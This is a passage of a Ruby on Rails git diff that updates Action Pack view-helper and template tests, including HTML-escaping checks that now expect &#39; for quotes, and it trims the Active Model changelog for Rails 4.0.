- assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/ok.html"), "get with ok status should have been cached"
- end
-end
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
index 6a44197525..a04694714d 100644
--- a/actionpack/test/template/asset_tag_helper_test.rb
+++ b/actionpack/test/template/asset_tag_helper_test.rb
@@ -65,7 +65,6 @@ class AssetTagHelperTest < ActionView::TestCase
%(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
%(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
%(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
- %(auto_discovery_link_tag(:xml)) => %(<link href="http://www.example.com" rel="alternate" title="XML" type="application/xml" />),
%(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
%(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
%(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
@@ -193,9 +192,9 @@ class AssetTagHelperTest < ActionView::TestCase
ImageLinkToTag = {
%(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
%(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
+ %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
%(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
%(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
- %(image_tag("error.png", "size" => "45")) => %(<img alt="Error" src="/images/error.png" />),
%(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
%(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
%(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
@@ -299,6 +298,16 @@ class AssetTagHelperTest < ActionView::TestCase
%(audio_tag(["audio.mp3", "audio.ogg"], :autobuffer => true, :controls => true)) => %(<audio autobuffer="autobuffer" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
}
+ def test_autodiscovery_link_tag_deprecated_types
+ result = nil
+ assert_deprecated do
+ result = auto_discovery_link_tag(:xml)
+ end
+
+ expected = %(<link href="http://www.example.com" rel="alternate" title="XML" type="application/xml" />)
+ assert_equal expected, result
+ end
+
def test_auto_discovery_link_tag
AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
index c13878af98..a4da7cd4b0 100644
--- a/actionpack/test/template/date_helper_test.rb
+++ b/actionpack/test/template/date_helper_test.rb
@@ -2658,6 +2658,30 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true)
end
+ def test_datetime_select_disabled_and_discard_minute
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true, :disabled => true)
+ end
+
def test_datetime_select_invalid_order
@post = Post.new
@post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
diff --git a/actionpack/test/template/digestor_test.rb b/actionpack/test/template/digestor_test.rb
new file mode 100644
index 0000000000..01b101cb49
--- /dev/null
+++ b/actionpack/test/template/digestor_test.rb
@@ -0,0 +1,160 @@
+require 'abstract_unit'
+require 'fileutils'
+
+class FixtureTemplate
+ attr_reader :source
+
+ def initialize(template_path)
+ @source = File.read(template_path)
+ rescue Errno::ENOENT
+ raise ActionView::MissingTemplate.new([], "", [], true, [])
+ end
+end
+
+class FixtureFinder
+ FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
+ TMP_DIR = "#{File.dirname(__FILE__)}/../tmp"
+
+ def find(logical_name, keys, partial, options)
+ FixtureTemplate.new("#{TMP_DIR}/digestor/#{partial ? logical_name.gsub(%r|/([^/]+)$|, '/_\1') : logical_name}.#{options[:formats].first}.erb")
+ end
+end
+
+class TemplateDigestorTest < ActionView::TestCase
+ def setup
+ FileUtils.cp_r FixtureFinder::FIXTURES_DIR, FixtureFinder::TMP_DIR
+ end
+
+ def teardown
+ FileUtils.rm_r File.join(FixtureFinder::TMP_DIR, "digestor")
+ ActionView::Digestor.cache.clear
+ end
+
+ def test_top_level_change_reflected
+ assert_digest_difference("messages/show") do
+ change_template("messages/show")
+ end
+ end
+
+ def test_explicit_dependency
+ assert_digest_difference("messages/show") do
+ change_template("messages/_message")
+ end
+ end
+
+ def test_second_level_dependency
+ assert_digest_difference("messages/show") do
+ change_template("comments/_comments")
+ end
+ end
+
+ def test_second_level_dependency_within_same_directory
+ assert_digest_difference("messages/show") do
+ change_template("messages/_header")
+ end
+ end
+
+ def test_third_level_dependency
+ assert_digest_difference("messages/show") do
+ change_template("comments/_comment")
+ end
+ end
+
+ def test_logging_of_missing_template
+ assert_logged "Couldn't find template for digesting: messages/something_missing.html" do
+ digest("messages/show")
+ end
+ end
+
+ def test_nested_template_directory
+ assert_digest_difference("messages/show") do
+ change_template("messages/actions/_move")
+ end
+ end
+
+ def test_dont_generate_a_digest_for_missing_templates
+ assert_equal '', digest("nothing/there")
+ end
+
+ def test_collection_dependency
+ assert_digest_difference("messages/index") do
+ change_template("messages/_message")
+ end
+
+ assert_digest_difference("messages/index") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_collection_derived_from_record_dependency
+ assert_digest_difference("messages/show") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_extra_whitespace_in_render_partial
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_form")
+ end
+ end
+
+ def test_extra_whitespace_in_render_named_partial
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_header")
+ end
+ end
+
+ def test_extra_whitespace_in_render_record
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_message")
+ end
+ end
+
+ def test_extra_whitespace_in_render_with_parenthesis
+ assert_digest_difference("messages/edit") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_old_style_hash_in_render_invocation
+ assert_digest_difference("messages/edit") do
+ change_template("comments/_comment")
+ end
+ end
+
+ private
+ def assert_logged(message)
+ old_logger = ActionView::Base.logger
+ log = StringIO.new
+ ActionView::Base.logger = Logger.new(log)
+
+ begin
+ yield
+
+ log.rewind
+ assert_match message, log.read
+ ensure
+ ActionView::Base.logger = old_logger
+ end
+ end
+
+ def assert_digest_difference(template_name)
+ previous_digest = digest(template_name)
+ ActionView::Digestor.cache.clear
+
+ yield
+
+ assert previous_digest != digest(template_name), "digest didn't change"
+ ActionView::Digestor.cache.clear
+ end
+
+ def digest(template_name)
+ ActionView::Digestor.digest(template_name, :html, FixtureFinder.new)
+ end
+
+ def change_template(template_name)
+ File.open("#{FixtureFinder::TMP_DIR}/digestor/#{template_name}.html.erb", "w") do |f|
+ f.write "\nTHIS WAS CHANGED!"
+ end
+ end
+end
diff --git a/actionpack/test/template/erb/helper.rb b/actionpack/test/template/erb/helper.rb
index 799f9e4036..a1973068d5 100644
--- a/actionpack/test/template/erb/helper.rb
+++ b/actionpack/test/template/erb/helper.rb
@@ -1,5 +1,6 @@
module ERBTest
class ViewContext
+ include ActionView::Helpers::UrlHelper
include SharedTestRoutes.url_helpers
include ActionView::Helpers::TagHelper
include ActionView::Helpers::JavaScriptHelper
@@ -20,4 +21,4 @@ module ERBTest
"<%= #{str} do %>#{rest}<% end %>"
end
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/template/erb_util_test.rb b/actionpack/test/template/erb_util_test.rb
index f1cb920963..3e5b029cea 100644
--- a/actionpack/test/template/erb_util_test.rb
+++ b/actionpack/test/template/erb_util_test.rb
@@ -45,7 +45,7 @@ class ErbUtilTest < ActiveSupport::TestCase
end
def test_html_escape_once
- assert_equal '1 &lt;&gt;&amp;&quot;&#x27; 2 &amp; 3', html_escape_once('1 <>&"\' 2 &amp; 3')
+ assert_equal '1 &lt;&gt;&amp;&quot;&#39; 2 &amp; 3', html_escape_once('1 <>&"\' 2 &amp; 3')
end
def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb
index 5c6cb45530..246c4bfada 100644
--- a/actionpack/test/template/form_helper_test.rb
+++ b/actionpack/test/template/form_helper_test.rb
@@ -81,8 +81,6 @@ class FormHelperTest < ActionView::TestCase
@post.tags = []
@post.tags << Tag.new
- @blog_post = Blog::Post.new("And his name will be forty and four.", 44)
-
@car = Car.new("#000FFF")
end
@@ -1168,7 +1166,9 @@ class FormHelperTest < ActionView::TestCase
end
def test_form_for_with_model_using_relative_model_naming
- form_for(@blog_post) do |f|
+ blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+
+ form_for(blog_post) do |f|
concat f.text_field :title
concat f.submit('Edit post')
end
diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb
index f908de865e..54ab8b4d3a 100644
--- a/actionpack/test/template/form_options_helper_test.rb
+++ b/actionpack/test/template/form_options_helper_test.rb
@@ -1124,7 +1124,7 @@ class FormOptionsHelperTest < ActionView::TestCase
def test_options_for_select_with_element_attributes
assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\" class=\"bold\">&lt;Denmark&gt;</option>\n<option value=\"USA\" onclick=\"alert(&#x27;Hello World&#x27;);\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
+ "<option value=\"&lt;Denmark&gt;\" class=\"bold\">&lt;Denmark&gt;</option>\n<option value=\"USA\" onclick=\"alert(&#39;Hello World&#39;);\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
options_for_select([ [ "<Denmark>", { :class => 'bold' } ], [ "USA", { :onclick => "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
)
end
diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb
index 81ba92f2e6..945dff2a29 100644
--- a/actionpack/test/template/form_tag_helper_test.rb
+++ b/actionpack/test/template/form_tag_helper_test.rb
@@ -225,6 +225,18 @@ class FormTagHelperTest < ActionView::TestCase
assert_dom_equal expected, actual
end
+ def test_select_tag_with_nil_option_tags_and_include_blank
+ actual = select_tag "places", nil, :include_blank => true
+ expected = %(<select id="places" name="places"><option value=""></option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_nil_option_tags_and_prompt
+ actual = select_tag "places", nil, :prompt => "string"
+ expected = %(<select id="places" name="places"><option value="">string</option></select>)
+ assert_dom_equal expected, actual
+ end
+
def test_text_area_tag_size_string
actual = text_area_tag "body", "hello world", "size" => "20x40"
expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
@@ -379,7 +391,7 @@ class FormTagHelperTest < ActionView::TestCase
def test_submit_tag
assert_dom_equal(
- %(<input name='commit' data-disable-with="Saving..." onclick="alert(&#x27;hello!&#x27;)" type="submit" value="Save" />),
+ %(<input name='commit' data-disable-with="Saving..." onclick="alert(&#39;hello!&#39;)" type="submit" value="Save" />),
submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
)
end
diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb
index 4a9a382afa..58784c26fa 100644
--- a/actionpack/test/template/javascript_helper_test.rb
+++ b/actionpack/test/template/javascript_helper_test.rb
@@ -44,14 +44,14 @@ class JavaScriptHelperTest < ActionView::TestCase
def test_button_to_function
assert_deprecated "button_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
- assert_dom_equal %(<input type="button" onclick="alert(&#x27;Hello world!&#x27;);" value="Greeting" />),
+ assert_dom_equal %(<input type="button" onclick="alert(&#39;Hello world!&#39;);" value="Greeting" />),
button_to_function("Greeting", "alert('Hello world!')")
end
end
def test_button_to_function_with_onclick
assert_deprecated "button_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
- assert_dom_equal "<input onclick=\"alert(&#x27;Goodbye World :(&#x27;); alert(&#x27;Hello world!&#x27;);\" type=\"button\" value=\"Greeting\" />",
+ assert_dom_equal "<input onclick=\"alert(&#39;Goodbye World :(&#39;); alert(&#39;Hello world!&#39;);\" type=\"button\" value=\"Greeting\" />",
button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
end
end
@@ -65,21 +65,21 @@ class JavaScriptHelperTest < ActionView::TestCase
def test_link_to_function
assert_deprecated "link_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
- assert_dom_equal %(<a href="#" onclick="alert(&#x27;Hello world!&#x27;); return false;">Greeting</a>),
+ assert_dom_equal %(<a href="#" onclick="alert(&#39;Hello world!&#39;); return false;">Greeting</a>),
link_to_function("Greeting", "alert('Hello world!')")
end
end
def test_link_to_function_with_existing_onclick
assert_deprecated "link_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
- assert_dom_equal %(<a href="#" onclick="confirm(&#x27;Sanity!&#x27;); alert(&#x27;Hello world!&#x27;); return false;">Greeting</a>),
+ assert_dom_equal %(<a href="#" onclick="confirm(&#39;Sanity!&#39;); alert(&#39;Hello world!&#39;); return false;">Greeting</a>),
link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
end
end
def test_function_with_href
assert_deprecated "link_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead." do
- assert_dom_equal %(<a href="http://example.com/" onclick="alert(&#x27;Hello world!&#x27;); return false;">Greeting</a>),
+ assert_dom_equal %(<a href="http://example.com/" onclick="alert(&#39;Hello world!&#39;); return false;">Greeting</a>),
link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
end
end
diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionpack/test/template/log_subscriber_test.rb
index 1713ce935c..7f4c84929f 100644
--- a/actionpack/test/template/log_subscriber_test.rb
+++ b/actionpack/test/template/log_subscriber_test.rb
@@ -8,9 +8,10 @@ class AVLogSubscriberTest < ActiveSupport::TestCase
def setup
super
- @controller = Object.new
- @controller.stubs(:_prefixes).returns(%w(test))
- @view = ActionView::Base.new(ActionController::Base.view_paths, {}, @controller)
+ view_paths = ActionController::Base.view_paths
+ lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"])
+ renderer = ActionView::Renderer.new(lookup_context)
+ @view = ActionView::Base.new(renderer, {})
Rails.stubs(:root).returns(File.expand_path(FIXTURE_LOAD_PATH))
ActionView::LogSubscriber.attach_to :action_view
end
diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb
index ef9c5ce10c..073bd14783 100644
--- a/actionpack/test/template/lookup_context_test.rb
+++ b/actionpack/test/template/lookup_context_test.rb
@@ -11,6 +11,17 @@ class LookupContextTest < ActiveSupport::TestCase
I18n.locale = :en
end
+ test "allows to override default_formats with ActionView::Base.default_formats" do
+ begin
+ formats = ActionView::Base.default_formats
+ ActionView::Base.default_formats = [:foo, :bar]
+
+ assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
+ ensure
+ ActionView::Base.default_formats = formats
+ end
+ end
+
test "process view paths on initialization" do
assert_kind_of ActionView::PathSet, @lookup_context.view_paths
end
diff --git a/actionpack/test/controller/record_identifier_test.rb b/actionpack/test/template/record_identifier_test.rb
index eb38b81e85..22038110a5 100644
--- a/actionpack/test/controller/record_identifier_test.rb
+++ b/actionpack/test/template/record_identifier_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
require 'controller/fake_models'
class RecordIdentifierTest < ActiveSupport::TestCase
- include ActionController::RecordIdentifier
+ include ActionView::RecordIdentifier
def setup
@klass = Comment
@@ -37,4 +37,13 @@ class RecordIdentifierTest < ActiveSupport::TestCase
def test_dom_class_with_prefix
assert_equal "custom_prefix_#{@singular}", dom_class(@record, :custom_prefix)
end
+
+ def test_dom_id_as_singleton_method
+ @record.save
+ assert_equal "#{@singular}_1", ActionView::RecordIdentifier.dom_id(@record)
+ end
+
+ def test_dom_class_as_singleton_method
+ assert_equal @singular, ActionView::RecordIdentifier.dom_class(@record)
+ end
end
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
index b26354e7cc..ddf5c6a1b3 100644
--- a/actionpack/test/template/render_test.rb
+++ b/actionpack/test/template/render_test.rb
@@ -97,6 +97,14 @@ module RenderTestCases
assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(:template => "plain_text_with_characters")
end
+ def test_render_ruby_template_with_handlers
+ assert_equal "Hello from Ruby code", @view.render(:template => "ruby_template")
+ end
+
+ def test_render_ruby_template_inline
+ assert_equal '4', @view.render(:inline => "(2**2).to_s", :type => :ruby)
+ end
+
def test_render_file_with_localization_on_context_level
old_locale, @view.locale = @view.locale, :da
assert_equal "Hey verden", @view.render(:file => "test/hello_world")
@@ -443,6 +451,15 @@ module RenderTestCases
assert_equal %(<title>David</title>),
@view.render(:file => "test/layout_render_object")
end
+
+ def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
+ ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
+ assert_equal @view.render(:inline => "Hello, World!", :type => :foo1), @view.render(:inline => "Hello, World!", :type => :foo2)
+ end
+
+ def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
+ assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
+ end
end
class CachedViewRenderTest < ActiveSupport::TestCase
diff --git a/actionpack/test/template/spec_type_test.rb b/actionpack/test/template/spec_type_test.rb
new file mode 100644
index 0000000000..08a7bdf81d
--- /dev/null
+++ b/actionpack/test/template/spec_type_test.rb
@@ -0,0 +1,39 @@
+require 'abstract_unit'
+
+class ActionViewSpecTypeTest < ActiveSupport::TestCase
+ def assert_view actual
+ assert_equal ActionView::TestCase, actual
+ end
+
+ def refute_view actual
+ refute_equal ActionView::TestCase, actual
+ end
+
+ def test_spec_type_resolves_for_matching_helper_strings
+ assert_view MiniTest::Spec.spec_type("WidgetHelper")
+ assert_view MiniTest::Spec.spec_type("WidgetHelperTest")
+ assert_view MiniTest::Spec.spec_type("Widget Helper Test")
+ # And is not case sensitive
+ assert_view MiniTest::Spec.spec_type("widgethelper")
+ assert_view MiniTest::Spec.spec_type("widgethelpertest")
+ assert_view MiniTest::Spec.spec_type("widget helper test")
+ end
+
+ def test_spec_type_resolves_for_matching_view_strings
+ assert_view MiniTest::Spec.spec_type("WidgetView")
+ assert_view MiniTest::Spec.spec_type("WidgetViewTest")
+ assert_view MiniTest::Spec.spec_type("Widget View Test")
+ # And is not case sensitive
+ assert_view MiniTest::Spec.spec_type("widgetview")
+ assert_view MiniTest::Spec.spec_type("widgetviewtest")
+ assert_view MiniTest::Spec.spec_type("widget view test")
+ end
+
+ def test_spec_type_wont_match_non_space_characters
+ refute_view MiniTest::Spec.spec_type("Widget Helper\tTest")
+ refute_view MiniTest::Spec.spec_type("Widget Helper\rTest")
+ refute_view MiniTest::Spec.spec_type("Widget Helper\nTest")
+ refute_view MiniTest::Spec.spec_type("Widget Helper\fTest")
+ refute_view MiniTest::Spec.spec_type("Widget HelperXTest")
+ end
+end
diff --git a/actionpack/test/template/template_test.rb b/actionpack/test/template/template_test.rb
index 061f5bb53f..86ba5f3b4d 100644
--- a/actionpack/test/template/template_test.rb
+++ b/actionpack/test/template/template_test.rb
@@ -59,6 +59,13 @@ class TestERBTemplate < ActiveSupport::TestCase
@context = Context.new
end
+ def test_mime_type_is_deprecated
+ template = new_template
+ assert_deprecated 'Template#mime_type is deprecated and will be removed' do
+ template.mime_type
+ end
+ end
+
def test_basic_template
@template = new_template
assert_equal "Hello", render
diff --git a/actionpack/test/template/test_case_test.rb b/actionpack/test/template/test_case_test.rb
index 387aafebd4..5265ae6b3a 100644
--- a/actionpack/test/template/test_case_test.rb
+++ b/actionpack/test/template/test_case_test.rb
@@ -64,7 +64,7 @@ module ActionView
assert_equal 'Howdy!', from_another_helper
end
- test "determine_default_helper_class returns nil if name.sub(/Test$/, '').constantize resolves to a class" do
+ test "determine_default_helper_class returns nil if the test name constant resolves to a class" do
assert_nil self.class.determine_default_helper_class("String")
end
diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb
index 108a674d95..e843a1deb4 100644
--- a/actionpack/test/template/test_test.rb
+++ b/actionpack/test/template/test_test.rb
@@ -78,3 +78,59 @@ class CrazyStringHelperTest < ActionView::TestCase
assert_equal PeopleHelper, self.class.helper_class
end
end
+
+describe PeopleHelper do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+describe PeopleHelper, :helper_class do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+describe PeopleHelper do
+ describe "even while nested" do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+ end
+end
+
+describe PeopleHelper, :helper_class do
+ describe "even while nested" do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+ end
+end
+
+describe "PeopleHelper" do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+describe "PeopleHelperTest" do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+describe "PeopleHelper" do
+ describe "even while nested" do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+ end
+end
+
+describe "PeopleHelperTest" do
+ describe "even while nested" do
+ it "resolves the right helper_class" do
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+ end
+end
diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
index c0f694b2bf..412d13bb2b 100644
--- a/actionpack/test/template/text_helper_test.rb
+++ b/actionpack/test/template/text_helper_test.rb
@@ -149,7 +149,7 @@ class TextHelperTest < ActionView::TestCase
end
def test_truncate_with_block_should_escape_the_block
- assert_equal "Here is a long test and ...&lt;script&gt;alert(&#x27;foo&#x27;);&lt;/script&gt;",
+ assert_equal "Here is a long test and ...&lt;script&gt;alert(&#39;foo&#39;);&lt;/script&gt;",
truncate("Here is a long test and I need a continue to read link", :length => 27) { "<script>alert('foo');</script>" }
end
@@ -303,6 +303,19 @@ class TextHelperTest < ActionView::TestCase
assert_equal options, passed_options
end
+ def test_excerpt_with_separator
+ options = { :separator => ' ', :radius => 1 }
+ assert_equal('...a very beautiful...', excerpt('This is a very beautiful morning', 'very', options))
+ assert_equal('This is...', excerpt('This is a very beautiful morning', 'this', options))
+ assert_equal('...beautiful morning', excerpt('This is a very beautiful morning', 'morning', options))
+
+ options = { :separator => "\n", :radius => 0 }
+ assert_equal("...very long...", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+ options = { :separator => "\n", :radius => 1 }
+ assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+ end
+
def test_word_wrap
assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
end
diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb
index f9f8c36fff..134177d74d 100644
--- a/actionpack/test/template/url_helper_test.rb
+++ b/actionpack/test/template/url_helper_test.rb
@@ -20,9 +20,9 @@ class UrlHelperTest < ActiveSupport::TestCase
get "/article/:id" => "foo#article", :as => :article
end
+ include ActionView::Helpers::UrlHelper
include routes.url_helpers
- include ActionView::Helpers::UrlHelper
include ActionView::Helpers::JavaScriptHelper
include ActionDispatch::Assertions::DomAssertions
include ActionView::Context
@@ -244,7 +244,7 @@ class UrlHelperTest < ActiveSupport::TestCase
def test_link_tag_with_custom_onclick
link = link_to("Hello", "http://www.example.com", :onclick => "alert('yay!')")
- expected = %{<a href="http://www.example.com" onclick="alert(&#x27;yay!&#x27;)">Hello</a>}
+ expected = %{<a href="http://www.example.com" onclick="alert(&#39;yay!&#39;)">Hello</a>}
assert_dom_equal expected, link
end
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index a8f470397b..2c966943ee 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,5 +1,33 @@
## Rails 4.0.0 (unreleased) ##
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to
+ protect attributes from mass assignment when non-permitted attributes are passed.
+
+ *DHH + Guillermo Iguaran*
+
+* `ActiveModel::MassAssignmentSecurity` has been extracted from Active Model and the
+ `protected_attributes` gem should be added to Gemfile in order to use
+ `attr_accessible` and `attr_protected` macros in your models.
+
+ *Guillermo Iguaran*
+
+* Due to a change in builder, nil values and empty strings now generates
+ closed tags, so instead of this:
+
+ <pseudonyms nil=\"true\"></pseudonyms>
+
+ It generates this:
+
+ <pseudonyms nil=\"true\"/>
+
+ *Carlos Antonio da Silva*
+
+* Changed inclusion and exclusion validators to accept a symbol for `:in` option.
+
+ This allows to use dynamic inclusion/exclusion values using methods, besides the current lambda/proc support.
+
+ *Gabriel Sobrinho*
+
* `AM::Validation#validates` ability to pass custom exception to `:strict` option.
*Bogdan Gusiev*
@@ -50,208 +78,4 @@
* When `^` or `$` are used in the regular expression provided to `validates_format_of` and the :multiline option is not set to true, an exception will be raised. This is to prevent security vulnerabilities when using `validates_format_of`. The problem is described in detail in the Rails security guide.
-
-## Rails 3.2.8 (Aug 9, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.7 (Jul 26, 2012) ##
-
-* `validates_inclusion_of` and `validates_exclusion_of` now accept `:within` option as alias of `:in` as documented.
-
-* Fix the the backport of the object dup with the ruby 1.9.3p194.
-
-
-## Rails 3.2.6 (Jun 12, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.5 (Jun 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.4 (May 31, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.3 (March 30, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.2 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.1 (January 26, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.0 (January 20, 2012) ##
-
-* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods`, because this only existed to
- support methods like `set_table_name` in Active Record, which are themselves being deprecated.
-
- *Jon Leighton*
-
-* Add ActiveModel::Errors#added? to check if a specific error has been added *Martin Svalin*
-
-* Add ability to define strict validation(with :strict => true option) that always raises exception when fails *Bogdan Gusiev*
-
-* Deprecate "Model.model_name.partial_path" in favor of "model.to_partial_path" *Grant Hutchins, Peter Jaros*
-
-* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior *Bogdan Gusiev*
-
-
-## Rails 3.1.3 (November 20, 2011) ##
-
-* No changes
-
-
-## Rails 3.1.2 (November 18, 2011) ##
-
-* No changes
-
-
-## Rails 3.1.1 (October 7, 2011) ##
-
-* Remove hard dependency on bcrypt-ruby to avoid make ActiveModel dependent on a binary library.
- You must add the gem explicitly to your Gemfile if you want use ActiveModel::SecurePassword:
-
- gem 'bcrypt-ruby', '~> 3.0.0'
-
- See GH #2687. *Guillermo Iguaran*
-
-
-## Rails 3.1.0 (August 30, 2011) ##
-
-* Alternate I18n namespace lookup is no longer supported.
- Instead of "activerecord.models.admins.post", do "activerecord.models.admins/post" instead *José Valim*
-
-* attr_accessible and friends now accepts :as as option to specify a role *Josh Kalderimis*
-
-* Add support for proc or lambda as an option for InclusionValidator,
- ExclusionValidator, and FormatValidator *Prem Sichanugrist*
-
- You can now supply Proc, lambda, or anything that respond to #call in those
- validations, and it will be called with current record as an argument.
- That given proc or lambda must returns an object which respond to #include? for
- InclusionValidator and ExclusionValidator, and returns a regular expression
- object for FormatValidator.
-
-* Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting *DHH*
-
-* ActiveModel::AttributeMethods allows attributes to be defined on demand *Alexander Uvarov*
-
-* Add support for selectively enabling/disabling observers *Myron Marston*
-
-
